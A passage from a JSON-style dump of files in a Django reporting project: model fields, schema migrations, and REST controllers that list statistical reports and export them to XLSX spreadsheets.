d_iii_1_2_amount = models.IntegerField(default=0)\n d_iii_1_2_note = models.CharField(blank=True, max_length=225)\n d_iii_1_3_amount = models.IntegerField(default=0)\n d_iii_1_3_note = models.CharField(blank=True, max_length=225)\n d_iii_1_4_amount = models.IntegerField(default=0)\n d_iii_1_4_note = models.CharField(blank=True, max_length=225)\n d_iii_1_b_note = models.CharField(blank=True, max_length=225)\n d_iii_1_5_amount = models.IntegerField(default=0)\n d_iii_1_5_note = models.CharField(blank=True, max_length=225)\n d_iii_1_6_amount = models.IntegerField(default=0)\n d_iii_1_6_note = models.CharField(blank=True, max_length=225)\n d_iii_1_7_amount = models.IntegerField(default=0)\n d_iii_1_7_note = models.CharField(blank=True, max_length=225)\n d_iii_1_8_amount = models.IntegerField(default=0)\n d_iii_1_8_note = models.CharField(blank=True, max_length=225)\n d_iii_2_a_note = models.CharField(blank=True, max_length=225)\n d_iii_2_1_amount = models.IntegerField(default=0)\n d_iii_2_1_note = models.CharField(blank=True, max_length=225)\n d_iii_2_2_amount = models.IntegerField(default=0)\n d_iii_2_2_note = models.CharField(blank=True, max_length=225)\n d_iii_2_3_amount = models.IntegerField(default=0)\n d_iii_2_3_note = models.CharField(blank=True, max_length=225)\n d_iii_2_b_note = models.CharField(blank=True, max_length=225)\n d_iii_2_4_amount = models.IntegerField(default=0)\n d_iii_2_4_note = models.CharField(blank=True, max_length=225)\n d_iii_2_5_amount = models.IntegerField(default=0)\n d_iii_2_5_note = models.CharField(blank=True, max_length=225)\n d_iii_2_6_amount = models.IntegerField(default=0)\n d_iii_2_6_note = models.CharField(blank=True, max_length=225)\n\n class Meta:\n db_table = 'statistical_information'\n" }, { "alpha_fraction": 0.5236220359802246, "alphanum_fraction": 0.5728346705436707, "avg_line_length": 28.02857208251953, "blob_id": "09ca077f783b0259073a6f4c775f0b69a3d7b8a4", "content_id": "a578883c8afec76759806815a83a91bbf9cc69e4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1016, "license_type": "no_license", "max_line_length": 63, "num_lines": 35, "path": "/database/migrations/0013_auto_20190131_2301.py", "repo_name": "BuiVanDuc/APReport", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# Generated by Django 1.11.17 on 2019-01-31 23:01\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('database', '0012_auto_20190124_0143'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='statisticaldatareport',\n name='c_i_3_2_amount',\n field=models.IntegerField(default=0),\n ),\n migrations.AddField(\n model_name='statisticaldatareport',\n name='c_i_3_2_note',\n field=models.CharField(blank=True, max_length=255),\n ),\n migrations.AddField(\n model_name='statisticaldatareport',\n name='c_i_4_2_amount',\n field=models.IntegerField(default=0),\n ),\n migrations.AddField(\n model_name='statisticaldatareport',\n name='c_i_4_2_note',\n field=models.CharField(blank=True, max_length=225),\n ),\n ]\n" }, { "alpha_fraction": 0.49635714292526245, "alphanum_fraction": 0.5045701265335083, "avg_line_length": 50.70547866821289, "blob_id": "e14dc1c11824687f1f4ef8651379a6aecbd54dab", "content_id": "ce9679cf9d0358f7ee31f6f9fb2a1075c83e7836", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7549, "license_type": "no_license", "max_line_length": 152, "num_lines": 146, "path": "/report/export/export_controller.py", "repo_name": "BuiVanDuc/APReport", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom datetime import datetime\n\nfrom rest_framework import status\nfrom rest_framework.generics import CreateAPIView\nfrom rest_framework.parsers import JSONParser\nfrom rest_framework.response import Response\n\nfrom ap_service.settings import STATIC_URL\nfrom database.models import StatisticalDataReport\nfrom report.serializer import ListReportSerializer\nfrom serializer import ExportMultiReportSerializer\nfrom utils.file_xlsx_utils import generate_report_name, create_xlsx_file_using_template, update_xlsx_file, \\\n is_file_existed\n\n\nclass ExportController(CreateAPIView):\n\n def post(self, request, *args, **kwargs):\n data = JSONParser().parse(request)\n serializer = ExportMultiReportSerializer(data=data)\n\n if serializer.is_valid():\n validate_data = serializer.validated_data\n export_type = validate_data.get('export_type')\n is_forced = validate_data.get('is_forced')\n report_ids = validate_data.get('report_ids')\n\n '''\n {\n \"status\": 0, # 0 --> Report is not existed, export report failed, 1 --> Report is existed, export report failed, 2 --> Export new report\n \"report_id\": 1, # Id of report\n \"report_url\": None # Uri of report if exported successfully else it's None\n '''\n ret_data = list()\n list_reports = list()\n start_date = None\n end_date = None\n\n for report_id in report_ids:\n try:\n report = StatisticalDataReport.objects.get(id=report_id)\n list_reports.append(report)\n\n if start_date is None or start_date < report.created_at:\n start_date = report.created_at\n if end_date is None or end_date > report.created_at:\n end_date = report.created_at\n except StatisticalDataReport.DoesNotExist:\n ret_data.append({\"status\": 0, \"report_id\": report_id, \"report_url\": None})\n\n if len(list_reports) <= 0:\n return Response(data=ret_data, status=status.HTTP_404_NOT_FOUND)\n\n # # 0 --> 1 Sheet in 1 File\n if export_type==0:\n # create name report:\n report_name = generate_report_name(export_type, start_date, end_date)\n\n if report_name and len(report_name) > 0:\n\n if is_forced or not is_file_existed(report_name):\n # create file report:\n report_path = create_xlsx_file_using_template(report_name, number_sheet=1)\n\n if report_path and len(report_path) > 0:\n\n if len(list_reports) > 1:\n # Convert from object to Dict\n list_data = list()\n for obj_report in list_reports:\n list_data.append(ListReportSerializer(obj_report).data)\n\n sum_report = dict()\n for i in range(1, len(list_data)):\n for key, val in list_data[0].items():\n if isinstance(list_data[0][key], unicode):\n sum_report[key] = \"\"\n elif isinstance(list_data[0][key], int):\n list_data[0][key] += list_data[i][key]\n sum_report[key] = list_data[0][key]\n\n sum_report['created_at'] = datetime.today().strftime('%Y-%m-%d')\n update_xlsx_file(sum_report, report_path, index_sheet=0)\n else:\n # have just one report\n update_xlsx_file(vars(list_reports[0]), report_path, index_sheet=0)\n\n ret_data.append(\n {\"status\": 2, \"report_id\": report_ids, \"report_url\": STATIC_URL + report_name})\n else:\n ret_data.append({\"status\": 0, \"report_id\": report_ids, \"report_url\": None})\n\n elif is_file_existed(report_name):\n ret_data.append({'status': 1, \"report_id\": report_ids, 'report_url': STATIC_URL + report_name})\n else:\n ret_data.append({\"status\": 0, \"report_id\": report_ids, \"report_url\": None})\n # 1 --> Multiple sheets in 1 File\n elif export_type == 1:\n report_name = generate_report_name(export_type, start_date, end_date)\n\n if report_name and len(report_name) > 0:\n if is_forced or not is_file_existed(report_name):\n number_sheet = len(list_reports)\n report_path = create_xlsx_file_using_template(report_name, number_sheet)\n\n if report_path and len(report_path) > 0:\n index = 0\n for obj_report in list_reports:\n report_path = update_xlsx_file(ListReportSerializer(obj_report).data, report_path, index_sheet=index)\n index += 1\n\n ret_data.append({\"status\": 2, \"report_id\": report_ids, \"report_url\": report_path})\n else:\n ret_data.append({\"status\": 2, \"report_id\": report_ids, \"report_url\": None})\n elif is_file_existed(report_name):\n ret_data.append({\"status\": 1, \"report_id\": report_ids, \"report_url\": STATIC_URL + report_name})\n else:\n ret_data.append({\"status\": 0, \"report_id\": report_ids, \"report_url\": None})\n # 2 --> Multiple Files\n elif export_type == 2:\n for obj_report in list_reports:\n date = obj_report.created_at\n report_id = obj_report.id\n report_name = generate_report_name(export_type, created_at=date)\n\n if report_name and len(report_name) > 0:\n if is_forced or not is_file_existed(report_name):\n report_path = create_xlsx_file_using_template(report_name, number_sheet=1)\n\n if report_path and len(report_path) > 0:\n update_xlsx_file(ListReportSerializer(obj_report).data, report_path, index_sheet=0)\n ret_data.append(\n {\"status\": 2, \"report_id\": report_id, \"report_url\": STATIC_URL + report_name})\n else:\n ret_data.append({\"status\": 0, \"report_id\": report_id, \"report_url\": None})\n elif is_file_existed(report_name):\n ret_data.append({\"status\": 1, \"report_id\": report_id, \"report_url\": STATIC_URL + report_name})\n else:\n ret_data.append({\"status\": 0, \"report_id\": report_id, \"report_url\": None})\n else:\n return Response(data={\"details\": \"Invalid export type\"}, status=status.HTTP_406_NOT_ACCEPTABLE)\n\n return Response(data=ret_data, status=status.HTTP_200_OK)\n\n return Response(data=serializer.errors, status=status.HTTP_406_NOT_ACCEPTABLE)\n" }, { "alpha_fraction": 0.5300207138061523, "alphanum_fraction": 0.6086956262588501, "avg_line_length": 23.149999618530273, "blob_id": "1accf0559b0d85fd4035e5051e95125dad751ac6", "content_id": "a21e22c4ba46432b5c852e71ad7364b100a42b1b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 483, "license_type": "no_license", "max_line_length": 63, "num_lines": 20, "path": "/database/migrations/0003_statisticaldatareport_a_i_2_note.py", "repo_name": "BuiVanDuc/APReport", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# Generated by Django 1.11.17 on 2019-01-24 00:29\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('database', '0002_auto_20190118_1525'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='statisticaldatareport',\n name='a_i_2_note',\n field=models.CharField(blank=True, max_length=255),\n ),\n ]\n" }, { "alpha_fraction": 0.5250475406646729, "alphanum_fraction": 0.5649968385696411, "avg_line_length": 30.540000915527344, "blob_id": "9c1cf134f028c881a2a240ecab846d8538db217e", "content_id": "6150baf1e86747d314383e698819398651ea1262", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1577, "license_type": "no_license", "max_line_length": 63, "num_lines": 50, "path": "/database/migrations/0014_auto_20190201_1036.py", "repo_name": "BuiVanDuc/APReport", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# Generated by Django 1.11.17 on 2019-02-01 10:36\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('database', '0013_auto_20190131_2301'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='statisticaldatareport',\n name='c_i_1_2_amount',\n field=models.IntegerField(default=0),\n ),\n migrations.AddField(\n model_name='statisticaldatareport',\n name='c_i_1_2_note',\n field=models.CharField(blank=True, max_length=225),\n ),\n migrations.AddField(\n model_name='statisticaldatareport',\n name='c_i_2_note',\n field=models.CharField(blank=True, max_length=225),\n ),\n migrations.AddField(\n model_name='statisticaldatareport',\n name='c_ii_2_note',\n field=models.CharField(default=0, max_length=225),\n ),\n migrations.AddField(\n model_name='statisticaldatareport',\n name='d_ii_1_note',\n field=models.CharField(blank=True, max_length=225),\n ),\n migrations.AddField(\n model_name='statisticaldatareport',\n name='d_iii_1_a',\n field=models.CharField(blank=True, max_length=225),\n ),\n migrations.AddField(\n model_name='statisticaldatareport',\n name='d_iii_1_b_note',\n field=models.CharField(blank=True, max_length=225),\n ),\n ]\n" }, { "alpha_fraction": 0.5204819440841675, "alphanum_fraction": 0.6048192977905273, "avg_line_length": 20.842105865478516, "blob_id": "5b3ee0a275dab48e051aa30b0da48d082b3aa7f8", "content_id": "4d090c3a9145a99f292722bebcfa451f029a993f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 415, "license_type": "no_license", "max_line_length": 49, "num_lines": 19, "path": "/database/migrations/0018_remove_statisticaldatareport_c_ii_2_note.py", "repo_name": "BuiVanDuc/APReport", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# Generated by Django 1.11.17 on 2019-02-11 14:46\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('database', '0017_auto_20190209_1450'),\n ]\n\n operations = [\n migrations.RemoveField(\n model_name='statisticaldatareport',\n name='c_ii_2_note',\n ),\n ]\n" }, { "alpha_fraction": 0.51106196641922, "alphanum_fraction": 0.5907079577445984, "avg_line_length": 21.600000381469727, "blob_id": "461a1bcc4988049b57ab35cced36fd9fb7fb5d9c", "content_id": "32f9f5be988402afd9017cd08e5b42fb54ffb239", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 452, "license_type": "no_license", "max_line_length": 49, "num_lines": 20, "path": "/database/migrations/0007_auto_20190124_0109.py", "repo_name": "BuiVanDuc/APReport", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# Generated by Django 1.11.17 on 2019-01-24 01:09\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('database', '0006_auto_20190124_0105'),\n ]\n\n operations = [\n migrations.RenameField(\n model_name='statisticaldatareport',\n old_name='a_iii_2',\n new_name='a_iii_2_note',\n ),\n ]\n" }, { "alpha_fraction": 0.4997689127922058, "alphanum_fraction": 0.5485287308692932, "avg_line_length": 66.96858978271484, "blob_id": "a50e2abce027e95bdea3f5f32f9ebc2f823b2b43", "content_id": "9903bf1d145ff5ee2399b4678bb708061a5bdebf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 12982, "license_type": "no_license", "max_line_length": 114, "num_lines": 191, "path": "/database/migrations/0001_initial.py", "repo_name": "BuiVanDuc/APReport", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# Generated by Django 1.11.17 on 2019-01-18 07:10\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n initial = True\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='StatisticalDataReport',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('name', models.CharField(default=b'STATISTICS DATA REPORT DATE', max_length=225)),\n ('crate_at', models.DateTimeField(auto_now_add=True)),\n ('a_i_1_amount', models.IntegerField(default=0)),\n ('a_i_1_note', models.CharField(blank=True, max_length=225)),\n ('a_i_2_1_amount', models.IntegerField(default=0)),\n ('a_i_2_1_note', models.CharField(blank=True, max_length=225)),\n ('a_i_2_2_amount', models.IntegerField(default=0)),\n ('a_i_2_2_note', models.CharField(blank=True, max_length=225)),\n ('a_i_2_3_amount', models.IntegerField(default=0)),\n ('a_i_2_3_note', models.CharField(blank=True, max_length=225)),\n ('a_i_3_amount', models.IntegerField(default=0)),\n ('a_i_3_note', models.CharField(blank=True, max_length=225)),\n ('a_i_4_amount', models.IntegerField(default=0)),\n ('a_i_4_note', models.CharField(blank=True, max_length=225)),\n ('a_ii_1_amount', models.IntegerField(default=0)),\n ('a_ii_1_note', models.CharField(blank=True, max_length=225)),\n ('a_ii_2_1_amount', models.IntegerField(default=0)),\n ('a_ii_2_1_note', models.CharField(blank=True, max_length=225)),\n ('a_ii_2_2_amount', models.IntegerField(default=0)),\n ('a_ii_2_2_note', models.CharField(blank=True, max_length=225)),\n ('a_ii_2_3_amount', models.IntegerField(default=0)),\n ('a_ii_2_3_note', models.CharField(blank=True, max_length=225)),\n ('a_ii_2_4_amount', models.IntegerField(default=0)),\n ('a_ii_2_4_note', models.CharField(blank=True, max_length=225)),\n ('a_ii_2_5_amount', models.IntegerField(default=0)),\n ('a_ii_2_5_note', models.CharField(blank=True, max_length=225)),\n ('a_ii_3_amount', models.IntegerField(default=0)),\n ('a_ii_3_note', models.CharField(blank=True, max_length=225)),\n ('a_iii_1_1_amount', models.IntegerField(default=0)),\n ('a_iii_1_1_note', models.CharField(blank=True, max_length=225)),\n ('a_iii_1_2_amount', models.IntegerField(default=0)),\n ('a_iii_1_2_note', models.CharField(blank=True, max_length=255)),\n ('a_iii_2_1_amount', models.IntegerField(default=0)),\n ('a_iii_2_1_note', models.CharField(blank=True, max_length=225)),\n ('a_iii_2_2_mount', models.IntegerField(default=0)),\n ('a_iii_2_2_note', models.CharField(blank=True, max_length=225)),\n ('a_iii_2_3_mount', models.IntegerField(default=0)),\n ('a_iii_2_3_note', models.CharField(blank=True, max_length=225)),\n ('a_iii_3_1_mount', models.IntegerField(default=0)),\n ('a_iii_3_1_note', models.CharField(blank=True, max_length=225)),\n ('a_iii_3_2_mount', models.IntegerField(default=0)),\n ('a_iii_3_2_note', models.CharField(blank=True, max_length=225)),\n ('a_iii_3_3_mount', models.IntegerField(default=0)),\n ('a_iii_3_3_note', models.CharField(blank=True, max_length=225)),\n ('a_iii_4_mount', models.IntegerField(default=0)),\n ('a_iii_4_note', models.CharField(blank=True, max_length=225)),\n ('a_iii_5_mount', models.IntegerField(default=0)),\n ('a_iii_5_note', models.CharField(blank=True, max_length=225)),\n ('a_iii_6_mount', models.IntegerField(default=0)),\n ('a_iii_6_note', models.CharField(blank=True, max_length=225)),\n ('a_iii_7_1_mount', models.IntegerField(default=0)),\n ('a_iii_7_1_note', models.CharField(blank=True, max_length=225)),\n ('a_iii_7_2_mount', models.IntegerField(default=0)),\n ('a_iii_7_2_note', models.CharField(blank=True, max_length=225)),\n ('b_i_1_1_amount', models.IntegerField(default=0)),\n ('b_i_1_1_note', models.CharField(blank=True, max_length=225)),\n ('b_i_1_2_amount', models.IntegerField(default=0)),\n ('b_i_1_2_note', models.CharField(blank=True, max_length=225)),\n ('b_i_1_3_amount', models.IntegerField(default=0)),\n ('b_i_1_3_note', models.CharField(blank=True, max_length=225)),\n ('b_i_2_1_amount', models.IntegerField(default=0)),\n ('b_i_2_1_note', models.CharField(blank=True, max_length=225)),\n ('b_i_2_2_amount', models.IntegerField(default=0)),\n ('b_i_2_2_note', models.CharField(blank=True, max_length=225)),\n ('b_i_2_3_amount', models.IntegerField(default=0)),\n ('b_i_2_3_note', models.CharField(blank=True, max_length=225)),\n ('b_i_3_1_amount', models.IntegerField(default=0)),\n ('b_i_3_1_note', models.CharField(blank=True, max_length=225)),\n ('b_i_3_2_amount', models.IntegerField(default=0)),\n ('b_i_3_2_note', models.CharField(blank=True, max_length=225)),\n ('b_i_3_3_amount', models.IntegerField(default=0)),\n ('b_i_3_3_note', models.CharField(blank=True, max_length=225)),\n ('b_ii_1_1_amount', models.IntegerField(default=0)),\n ('b_ii_1_1_note', models.CharField(blank=True, max_length=225)),\n ('b_ii_1_2_amount', models.IntegerField(default=0)),\n ('b_ii_1_2_note', models.CharField(blank=True, max_length=225)),\n ('b_ii_2_1_amount', models.IntegerField(default=0)),\n ('b_ii_2_1_note', models.CharField(blank=True, max_length=225)),\n ('b_ii_3_amount', models.IntegerField(default=0)),\n ('b_ii_3_note', models.CharField(blank=True, max_length=225)),\n ('b_ii_4_amount', models.IntegerField(default=0)),\n ('b_ii_4_note', models.CharField(blank=True, max_length=225)),\n ('c_i_1_1_amount', models.IntegerField(default=0)),\n ('c_i_1_1_note', models.CharField(blank=True, max_length=225)),\n ('c_i_2_1_amount', models.IntegerField(default=0)),\n ('c_i_2_1_note', models.CharField(blank=True, max_length=225)),\n ('c_i_2_2_amount', models.IntegerField(default=0)),\n ('c_i_2_2_note', models.CharField(blank=True, max_length=225)),\n ('c_i_2_3_amount', models.IntegerField(default=0)),\n ('c_i_2_3_note', models.CharField(blank=True, max_length=225)),\n ('c_i_3_1_amount', models.IntegerField(default=0)),\n ('c_i_3_1_note', models.CharField(blank=True, max_length=225)),\n ('c_i_4_1_amount', models.IntegerField(default=0)),\n ('c_i_4_1_note', models.CharField(blank=True, max_length=225)),\n ('c_ii_1_amount', models.IntegerField(default=0)),\n ('c_ii_1_note', models.CharField(blank=True, max_length=225)),\n ('c_ii_2_1_amount', models.IntegerField(default=0)),\n ('c_ii_2_1_note', models.CharField(blank=True, max_length=225)),\n ('c_ii_2_2_amount', models.IntegerField(default=0)),\n ('c_ii_2_2_note', models.CharField(blank=True, max_length=225)),\n ('c_ii_2_3_amount', models.IntegerField(default=0)),\n ('c_ii_2_3_note', models.CharField(blank=True, max_length=225)),\n ('c_iii_1_amount', models.IntegerField(default=0)),\n ('c_iii_1_note', models.CharField(blank=True, max_length=225)),\n ('c_iii_2_amount', models.IntegerField(default=0)),\n ('c_iii_2_note', models.CharField(blank=True, max_length=225)),\n ('c_iii_3_amount', models.IntegerField(default=0)),\n ('c_iii_3_note', models.CharField(blank=True, max_length=225)),\n ('c_iii_4_amount', models.IntegerField(default=0)),\n ('c_iii_4_note', models.CharField(blank=True, max_length=225)),\n ('c_iii_5_amount', models.IntegerField(default=0)),\n ('c_iii_5_note', models.CharField(blank=True, max_length=225)),\n ('d_i_1_amount', models.IntegerField(default=0)),\n ('d_i_1_note', models.CharField(blank=True, max_length=225)),\n ('d_i_2_amount', models.IntegerField(default=0)),\n ('d_i_2_note', models.CharField(blank=True, max_length=225)),\n ('d_i_3_amount', models.IntegerField(default=0)),\n ('d_i_3_note', models.CharField(blank=True, max_length=225)),\n ('d_i_4_amount', models.IntegerField(default=0)),\n ('d_i_4_note', models.CharField(blank=True, max_length=225)),\n ('d_i_5_amount', models.IntegerField(default=0)),\n ('d_i_5_note', models.CharField(blank=True, max_length=225)),\n ('d_i_6_amount', models.IntegerField(default=0)),\n ('d_i_6_note', models.CharField(blank=True, max_length=225)),\n ('d_ii_1_1_amount', models.IntegerField(default=0)),\n ('d_ii_1_1_note', models.CharField(blank=True, max_length=225)),\n ('d_ii_1_2_amount', models.IntegerField(default=0)),\n ('d_ii_1_2_note', models.CharField(blank=True, max_length=225)),\n ('d_ii_1_3_amount', models.IntegerField(default=0)),\n ('d_ii_1_3_note', models.CharField(blank=True, max_length=225)),\n ('d_ii_1_4_amount', models.IntegerField(default=0)),\n ('d_ii_1_4_note', models.CharField(blank=True, max_length=225)),\n ('d_ii_1_5_amount', models.IntegerField(default=0)),\n ('d_ii_1_5_note', models.CharField(blank=True, max_length=225)),\n ('d_ii_1_6_amount', models.IntegerField(default=0)),\n ('d_ii_1_6_note', models.CharField(blank=True, max_length=225)),\n ('d_ii_1_7_amount', models.IntegerField(default=0)),\n ('d_ii_1_7_note', models.CharField(blank=True, max_length=225)),\n ('d_iii_1_1_amount', models.IntegerField(default=0)),\n ('d_iii_1_1_note', models.CharField(blank=True, max_length=225)),\n ('d_iii_1_2_amount', models.IntegerField(default=0)),\n ('d_iii_1_2_note', models.CharField(blank=True, max_length=225)),\n ('d_iii_1_3_amount', models.IntegerField(default=0)),\n ('d_iii_1_3_note', models.CharField(blank=True, max_length=225)),\n ('d_iii_1_4_amount', models.IntegerField(default=0)),\n ('d_iii_1_4_note', models.CharField(blank=True, max_length=225)),\n ('d_iii_1_5_amount', models.IntegerField(default=0)),\n ('d_iii_1_5_note', models.CharField(blank=True, max_length=225)),\n ('d_iii_1_6_amount', models.IntegerField(default=0)),\n ('d_iii_1_6_note', models.CharField(blank=True, max_length=225)),\n ('d_iii_1_7_amount', models.IntegerField(default=0)),\n ('d_iii_1_7_note', models.CharField(blank=True, max_length=225)),\n ('d_iii_1_8_amount', models.IntegerField(default=0)),\n ('d_iii_1_8_note', models.CharField(blank=True, max_length=225)),\n ('d_iii_2_1_amount', models.IntegerField(default=0)),\n ('d_iii_2_1_note', models.CharField(blank=True, max_length=225)),\n ('d_iii_2_2_amount', models.IntegerField(default=0)),\n ('d_iii_2_2_note', models.CharField(blank=True, max_length=225)),\n ('d_iii_2_3_amount', models.IntegerField(default=0)),\n ('d_iii_2_3_note', models.CharField(blank=True, max_length=225)),\n ('d_iii_2_4_amount', models.IntegerField(default=0)),\n ('d_iii_2_4_note', models.CharField(blank=True, max_length=225)),\n ('d_iii_2_5_amount', models.IntegerField(default=0)),\n ('d_iii_2_5_note', models.CharField(blank=True, max_length=225)),\n ('d_iii_2_6_amount', models.IntegerField(default=0)),\n ('d_iii_2_6_note', models.CharField(blank=True, max_length=225)),\n ],\n options={\n 'db_table': 'statistical_information',\n },\n ),\n ]\n" }, { "alpha_fraction": 0.570576548576355, "alphanum_fraction": 0.622266411781311, "avg_line_length": 24.149999618530273, "blob_id": "9a9fef85cb2f4fe30dbc6fed5bf7f54d7f51d73f", "content_id": "0699e2360ef1812981f7f10b84cc61949ac44f62", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 503, "license_type": "no_license", "max_line_length": 65, "num_lines": 20, "path": "/database/migrations/0017_auto_20190209_1450.py", "repo_name": "BuiVanDuc/APReport", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# Generated by Django 1.11.17 on 2019-02-09 14:50\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('database', '0016_statisticaldatareport_is_looked_for'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='statisticaldatareport',\n name='c_ii_2_note',\n field=models.CharField(blank=True, max_length=225),\n ),\n ]\n" }, { "alpha_fraction": 0.5504450798034668, "alphanum_fraction": 0.5964391827583313, "avg_line_length": 25.959999084472656, "blob_id": "2df595aed60e7b125e77acf91c4411b73235a00d", "content_id": "c7ed5be26df75e7616cace31e6d532cf13b59c0d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 674, "license_type": "no_license", "max_line_length": 63, "num_lines": 25, "path": "/database/migrations/0012_auto_20190124_0143.py", "repo_name": "BuiVanDuc/APReport", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# Generated by Django 1.11.17 on 2019-01-24 01:43\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('database', '0011_statisticaldatareport_b_i_3_note'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='statisticaldatareport',\n name='b_ii_2_2_amount',\n field=models.IntegerField(default=0),\n ),\n migrations.AddField(\n model_name='statisticaldatareport',\n name='b_ii_2_2_note',\n field=models.CharField(blank=True, max_length=225),\n ),\n ]\n" }, { "alpha_fraction": 0.5214797258377075, "alphanum_fraction": 0.5739856958389282, "avg_line_length": 26.933332443237305, "blob_id": "e1a9c9cbfc20ee02b969643fa8cb2234e98068d8", "content_id": "af62c9cdc957c01d8e3623111671c4100fbba984", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 838, "license_type": "no_license", "max_line_length": 63, "num_lines": 30, "path": "/database/migrations/0015_auto_20190203_0753.py", "repo_name": "BuiVanDuc/APReport", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# Generated by Django 1.11.17 on 2019-02-03 07:53\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('database', '0014_auto_20190201_1036'),\n ]\n\n operations = [\n migrations.RenameField(\n model_name='statisticaldatareport',\n old_name='d_iii_1_a',\n new_name='d_iii_1_a_note',\n ),\n migrations.AddField(\n model_name='statisticaldatareport',\n name='d_iii_2_a_note',\n field=models.CharField(blank=True, max_length=225),\n ),\n migrations.AddField(\n model_name='statisticaldatareport',\n name='d_iii_2_b_note',\n field=models.CharField(blank=True, max_length=225),\n ),\n ]\n" }, { "alpha_fraction": 0.6388102173805237, "alphanum_fraction": 0.6525023579597473, "avg_line_length": 49.42856979370117, "blob_id": "8a272c4266175d00193ccb2e6c357f600e779e9c", "content_id": "5035ccb86e38be0f572aa9b31071e5f774eb2171", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2118, "license_type": "no_license", "max_line_length": 112, "num_lines": 42, "path": "/report/controller.py", "repo_name": "BuiVanDuc/APReport", "src_encoding": "UTF-8", "text": "from rest_framework import status\nfrom rest_framework.generics import CreateAPIView, ListAPIView\nfrom rest_framework.pagination import LimitOffsetPagination\nfrom rest_framework.parsers import JSONParser\nfrom rest_framework.response import Response\n\nfrom database.models import StatisticalDataReport\nfrom serializer import ListReportSerializer\nfrom utils.date_utils import parse_date_from_string\n\n\nclass ReportController(CreateAPIView, ListAPIView, LimitOffsetPagination):\n\n def post(self, request, *args, **kwargs):\n data = JSONParser().parse(request)\n serializer = ListReportSerializer(data=data)\n if serializer.is_valid():\n serializer.save()\n return Response(data={'detail': 'Add a new report successfully'}, status=status.HTTP_200_OK)\n return Response(data={'detail': 'NOT ACCEPTABLE'}, status=status.HTTP_406_NOT_ACCEPTABLE)\n\n def get(self, request, *args, **kwargs):\n try:\n \n date_str = self.request.query_params.get('date', None)\n if date_str is None:\n queryset = StatisticalDataReport.objects.all().order_by('-created_at')\n serializer = ListReportSerializer(queryset, many=True)\n return Response(data=serializer.data, status=status.HTTP_200_OK)\n elif date_str:\n date = parse_date_from_string(date_str)\n if date:\n queryset = StatisticalDataReport.objects.filter(created_at__date=date_str)\n if not queryset:\n return Response(data={'detail': 'No report on the date'}, status=status.HTTP_200_OK)\n serializer = ListReportSerializer(queryset, many=True)\n return Response(data=serializer.data, status=status.HTTP_200_OK)\n return Response(\n data={'detail': 'Invalid date string, please use date in format: %Y-%m-%d, For ex: 2019-02-11'},\n status=status.HTTP_406_NOT_ACCEPTABLE)\n except ValueError:\n return Response(data={'detail': 'Not Found'}, status=status.HTTP_404_NOT_FOUND)\n" }, { "alpha_fraction": 0.7316455841064453, "alphanum_fraction": 0.75443035364151, "avg_line_length": 55.57143020629883, "blob_id": "9980f95a046a694418c5f554a406c3b8d5c99e12", "content_id": "b9fd43bc6faf238fa2b9b26b2e6aa6944ff92fbb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 395, "license_type": "no_license", "max_line_length": 135, "num_lines": 7, "path": "/report/export/serializer.py", "repo_name": "BuiVanDuc/APReport", "src_encoding": "UTF-8", "text": "from rest_framework import serializers\n\n\nclass ExportMultiReportSerializer(serializers.Serializer):\n report_ids = serializers.ListSerializer(child=serializers.IntegerField())\n export_type = serializers.IntegerField(default=0) # 0 --> 1 Sheet in 1 File, 1 --> Multiple sheets in 1 File, 2 --> Multiple Files\n is_forced = serializers.IntegerField(default=0) # 1 --> Generated new report" }, { "alpha_fraction": 